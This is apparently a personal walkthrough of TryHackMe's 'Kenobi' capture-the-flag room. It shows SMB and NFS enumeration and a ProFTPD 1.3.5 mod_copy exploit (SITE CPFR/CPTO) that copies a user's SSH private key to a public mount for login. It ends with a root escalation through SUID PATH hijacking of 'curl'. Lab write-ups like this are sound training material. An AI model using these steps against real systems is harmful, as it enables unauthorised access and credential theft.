TryHackMe’s ‘Kenobi’ room is a fairly straightforward room as part of the Offensive Pentesting pathway.

This room will cover accessing a Samba share, manipulating a vulnerable version of proftpd to gain initial access and escalate your privileges to root via an SUID binary.

The room is a walkthrough so it should be fairly straightforward. I’m excited to dive in!

Task 1 - Deploy the vulnerable machine

Deploying the room is easy. TryHackMe will spin up the vulnerable room which we can connect to using the web-based attack-box, or through an OpenVPN connection.
I like using the OpenVPN connection through my Kali Linux VM, but at the time of writing this isn’t available to me. Web-Based AttackBox time!

Question 1 is just to confirm that we have launched the room. Question two is to scan the target machine for open ports and confirm the number:

root@ip-10-10-236-38:~# nmap 10.10.231.238

Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-03 13:41 BST
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan
ARP Ping Scan Timing: About 100.00% done; ETC: 13:41 (0:00:00 remaining)
Nmap scan report for ip-10-10-231-238.eu-west-1.compute.internal (10.10.231.238)
Host is up (0.00042s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2049/tcp open  nfs
MAC Address: 02:D9:10:B3:34:FF (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.41 seconds

Task 2 - Enumerating Samba for shares

On Samba;

Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.

Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.

Nmap lets us enumerate SMB shares using a script, smb-enum-shares.nse.
We can use this script on the SMB port above (445) with the following command: nmap -p 445 --script=smb-enum-shares.nse 10.10.231.238:

Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-03 15:08 BST
Nmap scan report for ip-10-10-231-238.eu-west-1.compute.internal (10.10.231.238)
Host is up (0.00057s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 02:D9:10:B3:34:FF (Unknown)

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.231.238\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.231.238\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.231.238\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds

We can see the number of shares that are available. THis is the answer to Question one.

The AttackBox (and most Linux distributions) come with smbclient preinstalled. Kali does come with smbclient installed, so whether you’re using the AttackBox or your own Kali VM you should be good to go.

Use smbclient //10.10.231.238/anonymous to connect to the target SMB share. We can just press enter/return when a user:password is prompted:

root@ip-10-10-140-179:~# smbclient //10.10.231.238/anonymous
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 11:49:09 2019
  ..                                  D        0  Wed Sep  4 11:56:07 2019
  ***.***                             N    12237  Wed Sep  4 11:49:09 2019

		9204224 blocks of size 1024. 6877112 blocks available

I’ve censored out the name of the file, which is the answer to question two.

If we look at the file above we can see a log of an SSH key being generated for the user ‘kenobi’. Looking further down shows further config information for an FTP server.

For question three we can query the rpcbind service running on port 111 to find the mount point the service is running on:

root@ip-10-10-140-179:~# nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.231.238
Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-03 16:22 BST
Nmap scan report for ip-10-10-231-238.eu-west-1.compute.internal (10.10.231.238)
Host is up (0.00013s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-ls: Volume /var
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID  GID  SIZE  TIME                 FILENAME
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  .
| rwxr-xr-x   0    0    4096  2019-09-04T12:27:33  ..
| rwxr-xr-x   0    0    4096  2019-09-04T12:09:49  backups
| rwxr-xr-x   0    0    4096  2019-09-04T10:37:44  cache
| rwxrwxrwt   0    0    4096  2019-09-04T08:43:56  crash
| rwxrwsr-x   0    50   4096  2016-04-12T20:14:23  local
| rwxrwxrwx   0    0    9     2019-09-04T08:41:33  lock
| rwxrwxr-x   0    108  4096  2019-09-04T10:37:44  log
| rwxr-xr-x   0    0    4096  2019-01-29T23:27:41  snap
| rwxr-xr-x   0    0    4096  2019-09-04T08:53:24  www
|_
| nfs-showmount: 
|_  /*** *
| nfs-statfs: 
|   Filesystem  1K-blocks  Used       Available  Use%  Maxfilesize  Maxlink
|_  /***        9204224.0  1836516.0  6877112.0  22%   16.0T        32000
MAC Address: 02:D9:10:B3:34:FF (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds

I’ve censored out the answer above for the mount points. This is the answer for question three.

Task 3 - Gain initial access with ProFtpd

ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.

Interesting note there from the THM team, seems interesting!

Connecting to the service is straight-forward, just use netcat like so; nc 10.10.167.241 21
Once connected it’s pretty easy to see the ProFtpd version number, which is the answer to question one.

For question two we need to find the number of exploits available for the version of ProFtpd running. This is as simple as running searchsploit proftpd 1.3.5, that’s question two out of the way!

The next part of the task is to use one of these exploits. In the previous tasks we’ve checked the log which told us that an SSH key was generated for the user ‘kenobi’. In that log we saw where the SSH key was stored. Using the exploit we’ve just found, and knowing that ProFtpd is running as the ‘kenobi’ user, we can copy that file to the mount point seen in the final question of Task Three:

root@ip-10-10-200-173:~# nc 10.10.167.241 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.167.241]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

The /var mount point (where we have just copied the SSH key to) is publicly accessible. So we can mount this to our local system by creating a directory, and mounting it there with mount 10.10.167.241:/var $YourMountPoint/.

Now that we’ve mounted the network share, we need to copy id.rsa to out local filesystem (the network mount is read-only), from there we can use the SSH key to log in as the ‘kenobi’ account!

root@ip-10-10-200-173:~# cp /mnt/kenobiNFS/tmp/id_rsa .
root@ip-10-10-200-173:~# sudo chmod 600 id_rsa 
root@ip-10-10-200-173:~# ssh -i id_rsa kenobi@10.10.167.241

After SSHing in as ‘kenobi’ we can then view the user.txt file in their home directory, which is the answer to the final question of this task.

Task 4 - Privlege Escalation with Path Vairable Manipulation

This next task felt like it went in a random direction for a minute. I suggest reading the explaination of SUID bits for this to make a bit more sense.

For this task we find a custom file on the system (using find / -perm -u=s -type f 2>/dev/null) that we do have permission to run. After running strings on this file we can see that it runs curl -I localhost without referencing the full path to curl. We can exploit this by copying /bin/sh (the shell) to a file called curl, then putting it into our $PATH.
This means that when the custom file we found above tries to run curl, it will be running /bin/sh instead. Because the custom file is run as root, we have successfully escalated our privleges.

Once we have the root shell, we can read /root/root.txt and get our final flag.

Conclusion

This was a fun room. It was a walkthrough, but it was still fun going through this and writing a side-by-side walkthrough for it. My red-team skills are pretty lacking when compared to what I do for the blue-team, so it’s nice to ease into pentesting and interesting ways that we can gain root access.